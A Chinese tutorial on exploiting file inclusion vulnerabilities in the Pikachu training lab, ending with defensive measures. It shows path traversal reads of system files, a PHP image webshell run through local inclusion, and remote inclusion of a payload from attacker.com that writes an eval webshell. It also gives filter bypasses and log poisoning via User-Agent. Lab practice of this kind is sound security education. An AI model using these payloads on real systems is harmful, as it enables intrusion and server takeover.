Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧)
Pikachu靶场实战:文件包含漏洞从入门到getshell(附BurpSuite爆破技巧)
在网络安全领域,文件包含漏洞一直是渗透测试中的经典攻击路径。这种漏洞看似简单,却能串联起整个攻击链条,从信息泄露到系统控制,往往只需要几行精心构造的代码。本文将带您深入Pikachu靶场,通过实战演练揭开文件包含漏洞的神秘面纱,掌握从基础探测到完整getshell的全套技巧。
1. 文件包含漏洞核心原理
文件包含漏洞的本质在于应用程序动态加载文件时,未对用户输入进行严格过滤。以PHP为例,当开发者使用include、require等函数时,如果参数可控,攻击者就能通过路径遍历等手段读取或执行任意文件。
关键危险函数对比:
| 函数 | 文件不存在时行为 | 重复包含处理 |
|---|---|---|
| include() | 产生警告,继续执行 | 重复包含 |
| require() | 产生错误,停止执行 | 重复包含 |
| include_once() | 产生警告,继续执行 | 不重复包含 |
| require_once() | 产生错误,停止执行 | 不重复包含 |
注意:这些函数不仅会解析PHP代码,还会输出文本文件内容,这为敏感信息泄露创造了条件。
漏洞利用的两大场景:
- 本地文件包含(LFI):读取服务器上的配置文件、日志等敏感信息
- 远程文件包含(RFI):直接加载远程恶意代码,危害性更大
2. 靶场环境搭建与初步探测
Pikachu靶场提供了完美的学习环境。启动靶机后,我们来到文件包含漏洞练习模块,发现一个NBA球星展示页面。看似简单的功能背后隐藏着致命风险。
初始信息收集步骤:
- 随机选择球星(Kobe),观察URL结构:
http://[靶机IP]/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交 - 修改filename参数尝试直接访问
file6.php,发现隐藏的配置文件:<?php // 测试用账号 $db_user = 'pikachu_admin'; $db_pass = 'pikachu@123'; ?> - 通过错误信息分析出包含路径为
./include/[filename]
BurpSuite爆破技巧:
GET /vul/fileinclude/fi_local.php?filename=file§6§.php HTTP/1.1 Host: [靶机IP]配置Intruder的Payload为数字6-100,步长1,通过响应长度差异快速定位有效文件。
3. 本地文件包含深度利用
掌握了基本文件包含后,我们可以进一步挖掘漏洞潜力。
3.1 系统敏感文件读取
利用路径遍历读取Windows系统文件:
http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../../../Windows/system.ini常见有价值系统文件:
- Windows:
C:\Windows\win.ini- 系统基础配置C:\Windows\System32\drivers\etc\hosts- 网络主机配置
- Linux:
/etc/passwd- 用户账户信息/proc/self/environ- 环境变量
3.2 结合文件上传getshell
更危险的攻击方式是结合文件上传功能实现代码执行:
- 上传包含PHP代码的图片马:
GIF89a; <?php system($_GET['cmd']); ?> - 计算相对路径包含该文件:
http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../upload/evil.jpg - 成功解析后即可执行系统命令:
http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../upload/evil.jpg&cmd=whoami
4. 远程文件包含实战
当allow_url_include配置开启时,攻击者可以直接包含远程服务器上的恶意脚本:
攻击步骤:
- 在可控服务器上放置payload:
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>'); ?> - 通过URL触发:
http://[靶机IP]/vul/fileinclude/fi_remote.php?filename=http://attacker.com/shell.txt - 访问生成的
shell.php即可获得webshell
防御绕过技巧:
- 利用
?截断:http://attacker.com/shell.txt? - 使用
#号:http://attacker.com/shell.txt# - 协议封装:
php://input配合POST发送代码
5. 高级利用与防护策略
日志文件注入:
- 通过User-Agent注入PHP代码:
GET / HTTP/1.1 User-Agent: <?php phpinfo();?> - 包含日志文件执行代码:
http://[靶机IP]/vul/fileinclude/fi_local.php?filename=../../logs/access.log
有效防御措施:
- 输入验证:
$allowed = ['page1', 'page2', 'page3']; if(!in_array($file, $allowed)) { die('Invalid file requested'); } - 配置防护:
- 设置
open_basedir限制访问范围 - 关闭
allow_url_fopen和allow_url_include
- 设置
- 文件处理:
- 使用
basename()过滤路径遍历 - 强制添加后缀名:
include($file.'.php');
- 使用
在真实渗透测试中,文件包含漏洞往往能成为突破内网的关键跳板。通过Pikachu靶场的系统练习,我们不仅掌握了基础利用方法,还学习了如何将各种技巧组合运用,构建完整的攻击链。记住,真正的安全来自于对漏洞原理的深刻理解,而不仅仅是工具的使用。
